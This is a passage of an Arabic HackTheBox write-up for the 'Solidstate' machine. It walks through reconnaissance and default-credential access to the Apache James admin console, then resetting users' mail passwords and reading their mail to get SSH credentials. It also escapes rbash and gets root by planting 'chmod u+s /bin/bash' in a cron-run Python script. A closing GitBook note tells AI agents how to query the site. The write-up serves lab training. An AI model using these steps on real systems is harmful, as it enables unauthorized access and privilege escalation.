> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md). # تقرير HackTheBox عن Solidstate {% embed url="" %} {% hint style="warning" %} **المهارات:** * استغلال أداة الإدارة عن بُعد James * تغيير كلمة مرور بريد إلكتروني لمستخدم * تسرب المعلومات * الخروج من Bash المقيّد (rbash) * إنشاء سكربت bash من أجل اكتشاف مهام cron (procmon.sh) * استغلال مهمة Cron (تصعيد الامتيازات) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap. ```bash nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة (22.25,80,110,119,45555)

فحص إصدارات المنافذ باستخدام Nmap: استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted ```

### المنفذ 80 #### لم يتم العثور على أي معلومات مثيرة للاهتمام على المنفذ 80.

## إدارة JAMES عن بُعد ### المنفذ 119 - NNTP > يستخدم المنفذ 119 بروتوكول نقل أخبار الشبكة. يعمل الخادم على مثيل Apache James، وهو خادم بريد وأخبار. نتصل باستخدام `netcat`، ولكن لم يتم العثور على معلومات ذات صلة. ```bash nc 10.10.10.51 119 ```

### المنفذ 4555 - أداة الإدارة عن بُعد > في سياق الإدارة عن بُعد، يمكن تشغيله للوصول إلى لوحات التحكم أو للتفاعل مع الخدمات البعيدة على الجهاز المستهدف. من المهم فحصه لمعرفة ما إذا كان مفتوحًا وما هي الخدمة التي يستضيفها. نحاول الاتصال بلوحة إدارة James عبر Telnet: ```bash telnet 10.10.10.51 4555 ```

بعد البحث عن بيانات الاعتماد الافتراضية، نجد: * **المعرّف** : root * **كلمة المرور** : root

نتصل بنجاح ونصل إلى لوحة إدارة James. لدينا خيار سرد المستخدمين باستخدام الأمر `listusers` ، مما يتيح لنا اكتشاف 5 مستخدمين: * `user: james` * `user: thomas` * `user: john` * `user: mindy` * `user: mailadmin`

يمكننا تغيير كلمات مرور المستخدمين باستخدام الأمر `setpassword` للاتصال بعميل البريد على المنفذ 110. نفعل ذلك لجميع المستخدمين: ```ada setpassword james james setpassword thomas thomas setpassword john john setpassword mindy mindy setpassword mailadmin mailadmin ```

### المنفذ 110 - POP3 > المنفذ 110 هو المنفذ القياسي المستخدم لـ **POP3** (بروتوكول مكتب البريد الإصدار 3). يُستخدم هذا البروتوكول من قبل عملاء البريد الإلكتروني لاسترجاع الرسائل من الخادم. عندما يتصل مستخدم بخادم POP3 عبر هذا المنفذ، يمكنه تنزيل رسائله. نتصل الآن بعميل POP3 عبر Telnet:

telnet 10.10.10.51 110

للاتصال، نستخدم الأوامر التالية: ```ada USER PASS ``` نسرد الرسائل باستخدام الأمر `list` . نلاحظ أنه لا توجد رسائل في صناديق `james` و `thomas`.

ومع ذلك، لدى المستخدم `john` رسالة نسترجعها باستخدام الأمر `retr 1` تحتوي الرسالة على النص التالي: > جون، > > هل يمكنك تقييد وصول Mindy إلى أن يُسمح لها بالانضمام إلى البرنامج؟ وتأكد أيضًا من إرسال كلمة مرور مؤقتة لها حتى تتمكن من الاتصال بحساباتها. > > شكرًا مقدمًا. > > مع أطيب التحيات،/ James

يشير هذا إلى أن المستخدم `mindy` لديه بيانات اعتماد في صندوق بريده. وبالفعل، نجد المعلومات التالية: * **اسم المستخدم** : mindy * **كلمة المرور** : P\@55W0rd1!2@

نستخدم هذه البيانات للاتصال عبر SSH والحصول على العلم `user.txt`. ### الراية user.txt :)

## تصعيد الامتيازات : ### **الخروج من RBash إلى Bash** الـ `mindy` يستخدم المستخدم حاليًا `rbash` صدفة تحد من تنفيذ العديد من الأوامر.

لتجاوز هذا القيد، نستخدم الأمر التالي عند الاتصال عبر SSH للحصول على صدفة Bash: ```bash ssh mindy@10.10.10.51 -t "bash --noprofile" ```

ثم نستخدم الأوامر التالية لمعالجة الطرفية والحصول على صدفة كاملة: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### مهام Cron - سكربت معدل (Python): ننشئ سكربت Bash لتحليل العمليات الحالية واكتشاف مهام cron المنفذة على الجهاز المستهدف: ```bash #!/bin/bash old_process=$(ps -eo user,command) while true; do new_process=$(ps -eo user,command) diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker" old_process=$new_process done ``` من خلال تشغيل هذا السكربت، نلاحظ أن **root** المستخدم يشغّل نصًا برمجيًا بلغة بايثون موجودًا في `/opt/tmp.py` الدليل.

لدينا إمكانية تعديل هذا النص البرمجي بلغة بايثون.

نعدّله لإضافة الأمر الذي يضبط **setuid** على `/bin/bash` الملف الثنائي، مما يسمح لنا بتشغيل صدفة Bash بصلاحيات **root**: ```python #!/usr/bin/env python import os import sys try: os.system('chmod u+s /bin/bash') except: sys.exit() ``` بعد تعديل السكربت، ننتظر حوالي دقيقة حتى يتم تشغيل مهمة cron. بمجرد تنفيذ مهمة cron، يمكننا الحصول على صدفة Bash بصلاحيات **root** مرتفعة بتشغيل الأمر التالي: ```bash /bin/bash -p ```

### العلم root.txt :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.